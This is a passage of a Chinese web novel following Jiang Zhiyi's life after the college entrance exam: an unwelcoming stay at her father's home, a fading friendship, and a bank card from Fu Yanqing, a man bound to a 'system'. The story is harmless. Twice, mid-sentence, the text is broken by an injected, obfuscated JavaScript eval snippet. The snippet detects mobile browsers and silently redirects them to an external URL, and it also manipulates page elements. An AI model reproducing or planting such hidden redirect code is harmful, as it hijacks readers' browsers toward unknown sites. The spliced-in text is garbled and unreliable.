她是个极难对别人交付信任的人,如果说普通人对陌生人的基础信任值是60,此后通过相处加加减减,那她对陌生人的基础信任值就是0。 很长一段时间,她都抱着警惕怀疑的态度对待傅延青,每次看到他都不安害怕得想逃离,可经过最近几件事的相处,她开始觉得,和傅延青的相处其实没那么糟糕。 既然说了和傅延青做朋友试试,那她就该试着以朋友的身份,给傅延青一点信任。 譬如,关窗。 傅延青没有再接话,但通过他嘴角上扬的弧度,江知意看得出他心情变好了。 开车到小区门口,江知意道完别便下了车。 只是转身的瞬间,看到熟悉的小区楼,想到苏语琴和搬家的事,她的心又瞬间沉下。 好不容易拥有的好心情也在顷刻间消失无踪。 * 傅延青没急着走,而是下车抽了根烟。 原本早上在这儿等她时就想抽了,但她不喜欢烟味儿,他怕抽了烟味儿散不掉,只好忍到现在。 男人靠在车边,吐出一口烟圈,看着烟雾缓缓散开。 他在想,要不要告诉江知意他最近很忙、可能没空来找她的事。 可没等他想明白,他就看到十分钟前上楼的少女拿着行李箱又出来了。 傅延青:? 她手上一个笨重的行李箱,身后背着书包,手上抱着那束花,正费力地提着行李箱下台阶。 傅延青怔了怔,站直身体。 刚考完试不好好休息,她要带着行李箱去哪儿? * “去哪儿?” 江知意提着行李箱没走几步,就有人停在她面前说道。 头顶落下一片阴影,她抬起头,看到去而复返的傅延青。 男人低眸看她,眉眼间略显不悦:“大包小包提这么多东西,怎么没人帮你?” “我妈妈有事。” “那你不喊我?我杵在这儿是摆设吗?” 江知意:“???” 她茫然:“我不知道你没走,而且不就多个行李箱吗?我又不是残了,没手没脚的。” 傅延青叹一口气。 “算了。”他从她手上接过行李箱,“去哪儿,送你一段吧。” “不用了吧。”江知意犹豫,“我爸爸在家,他说在门口等我,要是被他看见……” 可能不太好。 “你要去你爸爸家?”傅延青蹙眉,“我怎么记得你说和他关系一般?” 和江淮平关系一般的话她确实说过,不过是在七个月前。 江知意一愣,意外他还记得那么久以前的话。 “这不是高考完有时间,正好和他培养一下感情吗?”江知意勉强笑了笑。 傅延青眉蹙得更深。 “那就送你到你爸爸家附近吧。”最后他这么说。 * 车停在小区附近的一个路口,江知意下了车。 傅延青跟着下车,把行李箱从后备箱取出交给她,叮嘱道:“有什么事需要帮忙,可以找我。” “好。”江知意点头。 她背好书包抱着花,向小区走去。 傅延青望着她的背影,心里有种不安的感觉。 他总觉得,她不是无缘无故去爸爸家住的。 * 江淮平在小区门口等她,见她的第一眼甚至没认出来,直到她叫了声“爸爸”,他才反应过来:“哦哦知意啊,你看爸爸这眼神。” 接着看到她手里的花,江淮平问:“这花是?” “朋友的,明天要拿给她。” “哦,挺好看的。”江淮平摸摸她的头,接过行李箱道,“走吧,你阿姨还在家等着呢。” 被摸头的一瞬间,江知意身体一僵,全身上下都有种不习惯的感觉。 好在江淮平只是随手一摸,很快放下手。 进了小区七拐八拐来到一栋楼前,江淮平带她上了11楼。 门打开,迎接他们的是一张微笑客气的脸。 阿姨说:“你是知意吧?你爸爸都跟我说了,来,先进来吧。” 她说完江淮平就跟着接上:“知意,这是你林阿姨。” “林阿姨。”江知意拘谨地叫了声。 进屋放下行李,慢慢转了一圈,江知意才看清这房子很小,一室一厅,并没有多余的地方给她住。 江淮平看出她在想什么,解释道:“知意,这儿的房子小,实在没有多余的房间给你住,你看你睡沙发行不行?” 江知意:“行。” 当然行。 虽然江淮平是她爸爸,但从他和别的女人住在一起时,这里就不算她的家了。 寄人篱下哪有挑剔的资格。 有就不错了。 一天就这样平静地过去,晚上江淮平和林阿姨进了卧室,江知意一个人躺在沙发上,却翻来覆去睡不着。 这里的一切都好陌生。 陌生的爸爸,陌生的阿姨。 陌生的沙发,陌生的床单,陌生的被子。 她来到这个家,仿佛一个格格不入的局外人。 明明是她自己的爸爸,对她却不如林阿姨亲昵。 他和林阿姨有说有笑,和她却只是客气礼貌。 她睁着眼望了会儿天花板,想到苏语琴,又想到奶奶。 如果奶奶还在,是不是无论如何都不会让她搬出去,无论如何都不会让她沦落到这种境地? 江知意想了一会儿坐起来,隔着窗户看外面茫茫的夜色。 她发现自己的心变硬了。 从前她会因为苏语琴和江淮平委屈得哭,现在好像不会了。 失望积攒多了,大概就是这样吧。 片刻后卧室响起争吵声。 声音不大,隐隐约约,却也让人无法忽视。 江知意没刻意听,却还是有几个词飘进了她耳中。 什么“让她走”,什么“怀孕”,什么“不方便”。 听起来和她有关。 江知意走到墙边,趴在上面听了会儿才听清他们在吵什么。 “咱们家就这么大点地方,你让她睡沙发,弄得我里外进出都不方便,烦死了!” “我好不容易怀孕,你还让我天天照顾外人,要是一个不满意起了冲突,你帮谁?” …… “哎呀她就住到开学,没多久的,你忍一忍吧,当初我签离婚协议说好了的,没办法。” “没事的,知意她挺懂事的,你让一让忍一忍,一两个月就过去了……” 全是些家长里短没营养的争论。 江知意懒得再听,回到沙发上躺下,将头埋进枕头里。 她讨厌这个地方。 讨厌苏语琴,讨厌江淮平。 讨厌自己的命运被别人掌握。 25. Round 1 第二天江知意早早起床出了门。 和王瑜约的时间是十点,路上她不紧不慢逛了家文具店,买了一本精装笔记本,借钢笔写了段寄语,然后才坐上去中心广场的车。 中心广场地处市中心,是江北市最大的商圈,吃喝玩乐一应俱全,属于年轻人的聚集地。 和王瑜碰面后,江知意先将生日礼物给她:“后天你生日,提前把礼物给你。”她笑了笑,“生日快乐啊。” “哇,好漂亮的花,摆放好特别,是你买的吗?”王瑜说着低头闻了下,惊喜道,“还有香味儿,好香。” “是我配的。”江知意说完指指笔记本,“还有这个,我给你写了一段话,你回去再看吧。” “好啊好啊。”王瑜说着将花和笔记本收起来,挽住她的胳膊亲亲热热道,“礼物超级好看,我喜欢,谢谢亲爱的。” 江知意不好意思地笑。 两人在中心广场慢悠悠吃了一顿午饭,吃完开始从上到下逛商场。 高跟鞋也看,化妆品也看。 粉底口红眼影睫毛夹,只要是平价适合练手的,都看。 逛完一圈王瑜收获不少,她跃跃欲试想上手,又找不到人少的地方,干脆带她回了家。 王瑜家里没人,进门换了鞋便拉她坐下,激动地要上手实验。 江知意僵着身体,任由她在自己脸上涂抹。 说来高考不过结束两天,王瑜就仿佛换了个人一样,像搁浅的鱼回到大海,整个人都肉眼可见的朝气朝气蓬勃有活力。 看来她是真的喜欢这些。 化完后王瑜拿来镜子让她欣赏,接着又激动道:“快快快,换你给我化。” 就这么一来一回,给对方化完又给自己化,折腾到筋疲力尽后已经五点。 王瑜看了眼时间惊叫道:“呀,我爸妈快回来了,要不咱们出门吃个饭,今天就先这样,改天再约?” 江知意点头:“好。” 出门又一起吃了顿火锅,回到江淮平的家已经八点。 江淮平和林阿姨都在,见她回来也没多问,客气着说了句“早点休息”便一起进了卧室。 江知意放下包,疲累地躺在沙发上,闭上眼睛放空自己。 第二次回这个家,没有习惯的感觉,反而更累了。 她躺了一会儿,去卫生间洗脸,洗完看着镜子里的自己怔怔出神。 洗去所有的化妆痕迹后,镜子里的少女素面朝天,面容干净而年轻。 下午在王瑜家时,很多次她都想说她对化妆没那么感兴趣,可看着王瑜一脸兴奋的样子,她又默默咽下了那些话。 高考前她们谈论化妆品,她也是带着期待与好奇的,所以王瑜问她,她一口答应。 可真的等化妆品上脸,她才发现她不喜欢。 很不喜欢。 不喜欢粉底抹在脸上的感觉。 不喜欢嘴唇上有东西。 不喜欢眼皮和睫毛被各种折腾。 她很不舒服。 还有商场里试穿的高跟鞋。 也不喜欢。 好疼。 根本就是对脚的折磨。 她很不喜欢为了外在的美丽而牺牲自己的舒服。 可王瑜喜欢这些,她要怎么跟王瑜说呢? 从高三上学期约到现在,她一定会失望吧。 晚上躺在沙发上,王瑜发来消息。 【礼物我看啦,好感动,你写得好用心。】 【对了对了,明天周末,我爸妈要带我出门,不能和你约了(T-T)要不我们周一见?】 看到第一句王瑜说喜欢她的礼物,江知意弯起唇,可看到第二句,她又敛了笑意。 还要去吗? 再三犹豫后,她回复了个“好”。 这一晚江知意又没睡好。 总是浅浅睡一两个小时便惊醒,醒来后看着陌生的客厅会有一瞬的茫然,继而才想起自己在哪里。 她睡不着,按亮手机,上面显示凌晨1点37分。 她点开朋友圈开始往下翻,看到大家分享的生活,哪里好玩,哪里好吃,忍不住羡慕。 羡慕过后又是漫长的空虚。 她退出朋友圈,点开联系人列表,想找个人聊聊天,可这个时候大家都睡了,她能找谁聊呢? 列表一路下划,划过傅延青时,江知意手指一顿,又向上划去。 对了,刚才翻朋友圈好像没看到他,他这样的人,一般会发些什么呢? 广告?私生活?还是心灵鸡汤? 这么想着,江知意点进他的朋友圈。 结果如上次一样,他的朋友圈空空如也,只有一条横线。 ——这是从来没有发过朋友圈的意思。 原来如此。 准备退出他的朋友圈时,上方弹出来一条横幅,显示微信有新消息。 这么晚还有人给她发消息? 她点回消息列表,发现给她发消息的人,赫然就是刚刚看过的朋友圈的主人。 F:【怎么还不睡?】 江知意愣了足足两秒才打字回复。 xyz:【你怎么知道我没睡?】 F:【刚才弹的消息提醒,有人给我朋友圈背景点了赞。】 江知意:…… 她不信邪地回去看,发现右下角的点赞标志还真是亮的。 她真的不小心给他点了个赞。 xyz:【睡不着。】 F:【说来听听。】 说什么?难道要把人际交往的烦恼说给他听吗? 他是傅总,每天处理那些项目和合同…… 应该会觉得她这种问题很小打小闹,根本不值得烦恼吧。 xyz:【在想报专业的事。】 xyz:【你懂的多,有推荐吗?】 F:【你喜欢什么?】 这个问题问住了她。 中学时代只有九门主课,其他方面教的太少,江知意一时之间还真不知道自己喜欢什么。 她想了想,打字。 xyz:【对数值计算感兴趣一些。】 F:【可以考虑数学计算机一类的专业,以后是信息化时代,这两样都很有用。】 他说得言简意赅,清晰明了。 数学和计算机吗? 好像可以试试。 正好她喜欢数学。 学生时代总是流传着这样一句话:数学无用,数学滚出高考,谁家用函数买菜。 但江知意觉得不是的。 或许数学本身在大多数人的生活中并不常用,但学习数学的过程,其实是一种锻炼逻辑思维、锻炼学习能力的过程。 就如让一个初中生和一个大学生同时自学一样新东西,他们学习的速度和学习难易程度一定不一样。 大多数人讨厌数学,但对江知意来说,她享受其中思考的乐趣。 xyz:【那我明天查一下看看。】 F:【嗯,有不懂的再问我。】 F:【专业问题说完了,现在可以说为什么睡不着了?】 xyz:【我已经说了呀,在发愁专业的事。】 F:【。】 片刻后他又打字。 F:【算了,不想说也没关系,睡吧。】 真奇怪,他怎么就知道她睡不着另有原因呢? 江知意本不打算说,可他看破而不追问,反倒让她压力小了些,生出些倾诉欲。 人总是容易在夜晚说出真心话,江知意犹豫几番,打字道。 xyz:【我不喜欢化妆。】 F:【不喜欢就不喜欢,怎么,难道有人逼你化?】 xyz:【可我朋友喜欢,她跟我约了很久,我不想让她失望。】 F:【什么程度的朋友。】 就,要好的同桌那种程度。 因为偶然被老师分坐在一起,相处下来发现性格不错,就慢慢成了朋友。 况且她给她折了那么多幸运星。 xyz:【不错的朋友。】 F:【只是不错?】 F:【看来上次跟你说的话是一点没记住。】 F:【勉强自己去做不喜欢的事,就为了怕别人失望?她的优先级比你高?你是这样爱惜自己的?】 他的话难得尖锐,江知意被问住,沉默下去。 她觉得他说得有些刺耳,可心里又隐隐有个声音,那声音告诉她,傅延青说的是对的。 如果王瑜真的把她当朋友,那她就一定不会为了这种事跟她生气,和她疏远。 退一万步讲,就算王瑜真的失望不开心了,那她也不能强求。 正常的人际关系本就该是轻松随缘的,一个人只能陪一个人走一段路,相处舒适就继续,不舒服就分开。 不管王瑜最后作何反应,起码她们做同桌的日子是真实快乐的。 那就够了。 思考很久的问题终于想通几分,江知意的心情也跟着轻松了些。 她发了个“OK”的表情,打字回复。 xyz:【我知道了。】 另一边,很久都没有收到新消息的傅延青看着手机,微微拧眉。 这就结束了?这就睡了? 所以她的回答到底是想通了还是没想通? 思索间,贺凌舟发来消息:【axl那边6点就要结果,你想好了吗,加不加?】 傅延青看了一眼,将手机反扣在桌面上,揉了揉眉心。 窗外夜色沉沉,月光清冷。 整个办公大楼的灯只剩这一盏。 最近和傅呈远那边的摩擦越来越多,他知道要不了多久,他们之间就会有一场正面冲突。 系统说书里的时间是一年,那就意味着最后的结果会在八月落定。 现在是六月,只剩两个多月的时间。 最后的结果,最后的结果…… 最近几次他和傅呈远的交锋都赢得毫无悬念,傅呈远根本没有和他斗的能力,可赢得越多,他心里反而越没底。 会这样简单吗? 他真能一路赢到最后吗? 如果不能,那他最后是怎么输的,怎么把一切拱手相让的? 如果能,系统又为什么非要他攻略江知意? 想到江知意,他脑海里忽然浮现出她提着行李箱一步步走远的画面。 少女背影单薄,走向一个中年男人。 对了,她在那边住得怎么样了? 凌晨一点多还睡不着,无聊到给他朋友圈背景点赞,是住得不好吗? 傅延青垂眸,心里有种不舒服的感觉。 片刻后他拿起手机,给贺凌舟发消息:【加,他不敢跟。】 发完又翻出助理的工作号,继续打字:【帮我办张银行卡,先存二十万,办好后尽快给我。】 消息发出后他盯着屏幕沉思,几秒后补充:【越快越好。】 * 周末两天,江知意窝在爸爸家,按傅延青所说的方向,查了两天专业相关。 数学和计算机只是大方向,其下还有分支,不同的分支就意味着教学方向不一样,譬如数学分类下的数学与应用数学就属于师范教学类。 她看来看去,注意到一个叫“信息与计算科学”的专业。 乍一看像计算机,可实际属于数学专业。 前期学数学,中后期渐渐引入计算机相关,c++和java这种编程语言都要学,用一句话来总结就是,前期打数学基础,后期用编程来解决数学问题。 江知意看得颇为心动,忍不住又搜了许多专业相关。 第一,她喜欢数学,第二,未来是信息化时代,编程语言必不可少,这个专业简直满足了她所有需求。 等到周天晚上,她心里也有了决定。 如无意外,就是它了。 准备睡觉的时候,江淮平并没有如以往一般和林阿姨进卧室,而是在沙发上坐了下来。 他说:“知意,爸爸跟你说个事。” 江知意跟着在沙发上坐好:“什么?” 江淮平酝酿着措辞,慢吞吞道:“你现在成年了,也是大姑娘了,有些事情,就得懂点礼貌,你看你阿姨在家忙这忙那的,你多少帮着她点。你阿姨跟你没有血缘关系,对你好也不是理所当然,她给你切水果,你放那儿不吃,容易寒她的心。” “我知道你一向懂事,说的道理也都明白,下次见阿姨忙就帮着点,听话啊。” 江知意低着头沉默,半晌才“嗯”了一声。 江淮平宽了心:“那你早点休息,我和你阿姨先睡了。” 等江淮平进房间,江知意取出手机,第一件事就是搜索“大一新生可以提前报道住宿吗”。 那些道理她确实明白,林阿姨确实没道理对她好,可这两天她忙着查专业,实在顾不上,没想到江淮平这么快就以这两天的表现来找她。 ……大概他真的挺喜欢这个阿姨的吧。 她盯着手机,一条信息一条信息地看过去,心里没有丝毫难过。 没关系,她想。 她不是很在乎。 这个地方不欢迎她,那她也没必要觍着脸留下。 林阿姨觉得她在打扰他们,很简单,她提前搬出去就好了。 等到高考出分报完志愿,她就搬走。 不管是找学校申请还是租房子,她都要搬走。 * 周一,江知意如约去见了王瑜。 吃午饭时,她率先开口:“我有件事想跟你说。” 王瑜眨眨眼,边喝碗里的汤边问她:“什么?” ——她不是很喜欢化妆。 这句话还是没能轻松说出,江知意低眸,酝酿一番,才缓慢说道:“上次你约我学化妆,我回去想了想,觉得我还是不适合这个。” 她深吸一口气,抬起头,直视王瑜的眼睛:“抱歉,我不太喜欢化妆。” 王瑜愣住。 她握汤勺的手就那么停在半空中,脸上写满了意料之外。 许久她才像回过神一般,放下汤勺,笑着回道:“害,就这事啊,没事,不喜欢就不喜欢,每个人喜好不同嘛。” 虽是笑,笑容却很勉强,眼里还有极力掩盖也掩盖不住的失望。 “你还好吗?”江知意担忧,“要是没人陪你,我可以陪你的。” “没事没事。”王瑜连忙摆手,“周静她们也在学化妆呢,我可以和她们一起。” 她顿了一下,轻轻补充:“我以为所有人都喜欢化妆的。” “我……我们还可以一起做其他的事。”江知意说。 王瑜笑笑:“算了,本来今天要继续学化妆的,既然你说不喜欢,那就算啦。”她看看时间,“这会儿还早,反正都出来了,我们去公园散散步吧,就当消化了。” 江知意说好。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793618|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是散步,其实也没散多久。 夏季炎热,又赶上午后,只有树荫下能凉快一些。 没一会儿王瑜就热得受不住,要回家吹空调。 两人并肩坐在公交车站下等车的时候,王瑜忽然道:“那我们以后还是朋友吗?” “当然是啊。”江知意微愣,不明白她为什么这样问。 “我只是……”她叹气,“只是觉得你成绩那么好,以后我们上不同的大学,可能就很少见了。原本以为约你学化妆能相处久一些,现在看来……” 很少听王瑜用这么悲观的语气说话,江知意回道:“只是化妆兴趣不同而已,我们还可以分享别的事啊,总会有一两件大家都感兴趣的。” 王瑜只是静静看她,眼神遗憾。 几秒后她移开目光,看向正前方的马路:“你没发现吗,其实我们完全不同,喜欢的东西不一样,兴趣爱好也不一样,如果不是偶然成为同桌,我们应该根本没有成为朋友的机会吧。” “……”她愣了几秒,“喜好不同也可以做朋友呀,只要常联系互相尊重,我们就一直是朋友啊。” 王瑜摇头:“很难的,到了大学认识新的同学,有新的圈子,以前的同学朋友都会慢慢疏远的,大家都是这样。” 说罢不等江知意回答,她转头一笑:“不过你放心,你说了我们还是朋友,我会经常联系你的。” 江知意的心一落一起,听到后半句才放了心,松一口气:“那你说那么严肃,我还以为你不跟我做朋友了呢。” 她说着开玩笑一般去推王瑜胳膊,王瑜却突然抱住她:“江知意。” 她在她耳边语气认真地说:“你一定会考上江北大学的。” 耳边响起喇叭声,车来了。 王瑜轻轻抱了一下她就松开,微笑着朝她挥手:“那我走了,再见。” “啊,嗯,再见。”江知意还没回神,呆呆重复道别的话。 王瑜上了车,隔着车窗又跟她挥了挥手,车很快开远。 不知为什么,看着公交车在视线里远去,江知意有种心里空落落的感觉。 仿佛就在刚刚,做出了某个告别。 眼前的车来了一辆又一辆,车站等车的人换了一批又一批,不知过了多久,江知意眨眨眼睛,终于从思绪中抽离。 她取出手机看时间,发现上面显示着一条未读消息。 F:【现在有空吗,我去找你。】 * 半小时后,傅延青的车停在她面前。 他摇下车窗对她说:“外面热,车上说。” 江知意拉开车门坐进去。 “怎么了?有事找我?”江知意好奇。 “嗯,有。”他开门见山,“这几天住得怎么样,和你爸爸培养出感情了吗?” 江知意脸一僵,下意识避开傅延青的目光。 她没想到他大老远跑过来,就为了问这个。 培养得怎么样?不怎么样。 江淮平对她的感情只能用六个字形容:有关心,但不多。 她控制好情绪,尽量平静地回答:“还不错。” 身侧的男人沉默几秒,问她:“不好,是吗?” 他声音很轻,语气很平静,这样简单的四个字,竟然叫她心跳慢了一拍。 江知意转头,满眼疑惑,几乎是在用眼神问他“你怎么知道”。 “微表情。你不太擅长控制自己的下意识反应。”他淡淡解释,从扶手箱取出一个东西递给她,“这个给你。” 江知意低头,看到一张银行卡。 她惊讶:“这是什么?” “银行卡,我放了一些钱在里面,密码是你的出生年月。需要钱就用这个。” 江知意更疑惑:“需要什么钱?” “房租,学费,所有需要用钱的地方。”他说,“住得不开心就搬出来吧,钱以后再还我就行。” 江知意目瞪口呆。 银行卡?给她送钱?傅延青这是在干什么? “这里面有多少钱?” “很多,足够你用。” 江知意:“……” 不得不说,她的第一反应是本能地怀疑这些钱有问题。 有时候她都要气自己的见识浅薄了,如果她再大十岁,懂得再多一些,见识阅历再丰富一些,或许她就知道他要干什么了。 几番犹豫下,她绷直嘴角,将银行卡推回去:“我不要。” “为什么不要,受之有愧?” “不是。” “那是什么?” 傅延青追问,江知意却不再多说。 他看着她的表情,心里一沉,知道她又在以防万一了。 只是碍于情面,没有直说而已。 她什么时候才能不对他这样? 傅延青心里发堵,耐着性子解释:“不会有事的,如果你需要,我可以录一份音留给你当证据。” 江知意还是摇头。 她满脸不解:“你为什么要给我钱?我自己有钱,不够了爸爸妈妈也会给我,不用你给的。” “我怕你不够。”傅延青说。 他明知她想问什么,却还是给出一个聊胜于无的回答。 江知意放弃追问,又重复一遍答案:“我不要。” 傅延青笑了,笑容似苦涩,似自嘲。 “那帮我保管,行吗?”他说,“最近几个月我要忙一件事,不确定性很多,大概也没时间再来找你,你帮我保管,我就有动力再回来取。” “只要还的时候余额不变,期间随便你借用。” 江知意蹙眉:“不确定性很多是什么意思,为什么要说有动力回来取?你会有危险吗?” “嗯,可能。” 江知意紧张起来:“什么危险?” “下次告诉你。”他将银行卡又递回来,“先收着吧,以防万一,能救个急。” 江知意低头看看银行卡:“那你什么时候回来?” “九月初。” “噢……”她想了想,选择接过,“那好吧,我帮你保管,这样你就会惦记着有一笔钱在别人手里,一定要回来取了。” 傅延青:“那我先走……” 江知意:“我还有件……” 两人同时开口,说到一半又同时停下。 傅延青:“还有件事?什么事。” 江知意摇头:“算了,没关系,你要是忙的话就先走吧。” “你说吧,说完我再走。” “我……”江知意想了想,开口道,“化妆的事,我跟我朋友说了,她有点失望,但没怪我。回家之前她跟我说了很多悲观的话,最后她上车,我突然有种……”她努力思考合适的用词,“有种我们的关系就到这里的感觉。” “习惯就好。”傅延青说。 “习惯?”他一句安慰的话都没提,上来就直言习惯就好,江知意很意外。 “我知道你会觉得难过和不舍,想和她回到从前的状态,但人与人之间就是这样。一段关系中太过在乎,在乎到压抑忽视自己,是看轻你自己;太不在乎,是看轻这段感情。你尽力了,做了自己能做的,接下来要做的就是接受,顺其自然,学会接受。” 江知意听得一知半解,心里却隐隐有豁然开朗的感觉。 “还有其他事吗?”男人又问。 “没有了。”江知意回神,接着看向他,露出一个真心实意的笑容,“谢谢。” 26. Round 1 江知意拿着银行卡下车,车开走后,她仔仔细细将正反两面都看了一遍。 没什么特别,和普通的银行卡一模一样。 光华银行,国内的四大之一,也没什么问题。 只是保管不使用的话,应该不会出什么事吧。 江知意将银行卡装进包里,向家里走去。 其实,她不要傅延青的钱还有一个原因——她不想和他有这么大额的金钱牵扯。 她说过,那就做朋友试试。 既然是朋友,就不该有这种金钱往来。 朋友,就要纯粹一点才好。 另一边,傅延青开车回公司的路上,系统忍不住开口:“宿主,给她送银行卡的主意糟透了。” 真的糟透了。 凭她的警惕心,就算他找了理由让她收下,她也不会用。 平白送钱,她只会怀疑他居心叵测好不好! 虽然这次任务注定失败,但也不能这么摆烂吧。 “我知道。”傅延青平静道。 “知道还送?” 傅延青沉默。 车内仿佛被按下暂停键,只有猎猎风声在窗外作响,遥远得像另一个世界。 系统问不出结果,放弃追问,可许久后,傅延青主动开口了。 男人的声音带着深深的无力感:“除了这个,我想不到要怎么帮她了。” 这几天他一直在想江知意的事。 只要他闲下来,脑子里就会出现她提着行李箱孤零零的样子。 他没资格问她的家庭,也没资格带她离开,可想到她住得不好,他心里就涌起一阵不舒服。 他知道她不会用他的银行卡,可万一呢? 万一出了什么急事,万一她的钱不够用,万一他的钱正好能帮到她呢? 只要有万分之一的概率能帮到她,那就值了。 * 那天之后,王瑜没有食言,依旧每天找她聊天,偶尔还会发她们学化妆的成果。 但某一天,不知是她们玩嗨了还是手机没电了,整整一天王瑜没给她发消息。 等第二天早上她才歉疚着解释:【抱歉抱歉,昨天我们出去玩了,晚上吃宵夜没顾上看手机,不是故意不回你消息的。】 江知意发了个抱抱的表情包说没事。 但有了第一次就会有第二次,渐渐的,手机里来自王瑜的消息越来越少,她把越来越多的时间放在了其他人身上。 一天不回消息的记录,也渐渐变成了三天。 看她的朋友圈,她似乎去了海边玩。 江知意这才理解王瑜为什么说得那么悲观。 人的精力是有限的,当大量的精力分给每天都见面经常一起玩的人之后,就会分不出多余的精力给从前的朋友。 没有谁对,也没有谁错,只是时间和距离注定如此而已。 她想起傅延青说的话——“你尽力了,做了自己能做的,接下来要做的就是接受。” 人的一生就是不断地遇见,不断地分离。 她总得学会接受。 * 六月下旬,高考成绩出了。 出分前朋友圈一片作法祈福,企图通过这种方式求个心理安慰。 就连王瑜也给她发消息:【怎么办我好紧张啊啊啊啊——】 江知意也紧张。 这种时刻,没有人会不紧张。 xyz:【我也紧张,咱们一起啊啊啊吧。】 被她的话逗笑,王瑜回复:【笑死我了,来吧来吧,一起啊啊啊发疯。】 查分时间到,江知意踩着点进去,结果显示网络拥堵。 她再点,显示拥堵,再点,还是拥堵。 江知意:…… 手机上的消息越来越多,所有人都在问她考得怎么样,她没法回答,只能一遍遍点刷新。 直到一个陌生号码打来电话。 她接起,一个亲切的女声响起:“同学你好,我是江北大学招生组的老师……” 听到“江北大学”四个字,江知意有一瞬的眩晕,忍不住扶了下桌子。 是江北大学?真的是江北大学。 这个时候接到江北大学招生组的电话,成绩如何已经不言而喻了。 老师先是恭喜她考出了好成绩,接着问起报考学校的意向,然后开始热情地介绍江北大学的优势。 她晕晕乎乎地听着,在老师关于学校的细节介绍中,终于感受到几分真实。 三年的辛苦与努力都化作喜悦,一寸一寸从神经末梢传递到大脑。 ……她考上了啊。 挂断电话后,江知意捂了下脸,有种高兴得不知道怎么办的感觉。 她再点查分界面的刷新,网络已经不拥堵了,她顺利查到了自己的分数。 682分,很漂亮的成绩。 江知意露出笑容,低头开始逐一回消息。 先是王瑜。 她发了一串“啊啊啊”后说:【我就知道你肯定能考上的,太好了。】 江知意反问王瑜:【那你呢,考得怎么样?】 王瑜:【我?害,就普普通通的水平,没超常也没失常,你懂的。】 直到最后她也没说考了多少分。 接着是王鑫。 王鑫:【成绩出来了,你查了吗?】 江知意回复:【查了,682分,你呢?】 王鑫发了个震惊的表情包:【好高,那你稳上江北大学了吧,我考了671,还有点玄。】 江知意:【也很好了,应该能上的,别紧张。】 后面是老师和其他同学的消息。 回完消息一点多,江知意深吸了口气,想起忘了问能不能提前去学校的事了。 她翻出通话记录打回去。 “喂,老师你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833962|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,我是一中的江知意,我想问一下学校可以提前报道吗?” “提前报道?”老师意外,“同学你是家里比较困难吗?如果困难的话可以在报完志愿后申请一个贫困补助……” “不是。”江知意轻轻打断,“不是钱的问题,是父母搬家,住宿不太方便,学校外面又不安全,所以问问学校的宿舍可以提前住吗?” “这样啊……”老师思考后回道,“宿舍这边确实不好给你提前分配,往年都要八月中才出来,不过学校里有空着的教师宿舍可以租,填张申请表,审核通过就可以住,同学你看怎么样?” “可以可以。”江知意连忙点头。 “那你要记得报江北大学哦,可以的话我们加个微信,等报完志愿我就把申请表发给你。” “老师,申请表一般要审核多久?” “很快的,三个工作日以内。” “好的,谢谢老师。” 挂断电话,江知意算了算时间。 报志愿三天,审核三天,如果一切顺利的话,那她一周后就可以搬走了。 想到此,她又拨通了江淮平的电话。 电话接起,江淮平“喂”了一声,问她:“怎么了?查到分了吗,考得怎么样?” “挺好的。”江知意不欲多说,直接道,“爸爸,有件事我想和你商量一下。” * 江淮平没有反对。 他很快告诉了林阿姨。 等他们下班到家,看着林阿姨的脸色,江知意有种感觉,这恐怕是她住进来的这么多天里,林阿姨最和颜悦色的一次。 自家女儿高考成绩这么好,长了江淮平的面子,他回家连鞋都没换就大手一挥,说晚上出去吃,美其名曰,庆祝。 江知意不想去,但不去可能会换来江淮平的长篇大论,她思考几秒,还是点了头。 反正就这一次了。 一顿饭平平淡淡地吃完,晚上躺在沙发上,江知意给王瑜发消息。 xyz:【最近有时间吗?要不要出来玩?】 一小时后王瑜回道:【啊,最近不太行,成绩出来我爸妈说要奖励我,带我出去玩,下下周怎么样?】 似乎就是从那一次起,她们的时间越来越难同步了。 江知意笑了笑,回复:【好啊。】 放下手机准备睡觉,微信又传来新消息的提示音。 她按亮屏幕,发现是很久不见的苏语琴。 苏语琴:【考得怎么样?】 江知意盯着屏幕,一时难以形容自己的心情。 开心吗?好像有。 怨怪吗?好像也有。 但无论是开心还是怨怪都只有一瞬,更多的是复杂和不知所言。 她已经不是那个苏语琴一关心她她就忍不住高兴的小女孩了。 半晌,她平静地打字。 xyz:【挺好的。】 27. Round 2 傅延青已经砸了半个小时的石头了。 系统知道自己劝说无用,只能默默看着。 其实,砸石头已经是他冷静后的结果了。 他原本的第一反应,是将办公桌上所有文件拂落在地,然后飙车回家,抱起自己的花就想往地上砸。 可当花盆被高高举起时,他的手开始颤抖。 不知是愤怒还是不甘,绝望还是怨恨,他整个人都开始颤抖。 这副模样,系统都看不下去了。 相处一年,它以为自己足够了解傅延青,足够了解他是个冷静理性的人,可没想到真正迎来结果的一刻,他的反应是失控。 为什么会失控呢?系统不解。 它问傅延青:“宿主,你怎么了?第二次任务已经开始计时了,你该去找江知意了。” 傅延青不理它,答非所问道:“为什么我会说出那个‘好’字?” “因为小说的结局就是傅呈远得到傅氏啊。”系统理所当然。 “为什么?” “因为傅呈远是男主啊。”系统纳闷,“男主就是主角,整部小说都是为主角服务的,你不知道吗?” “那我呢?我算什么?”傅延青慢慢将花盆从头顶放下,只有手仍在用力,指尖因为压迫,泛起一层白。 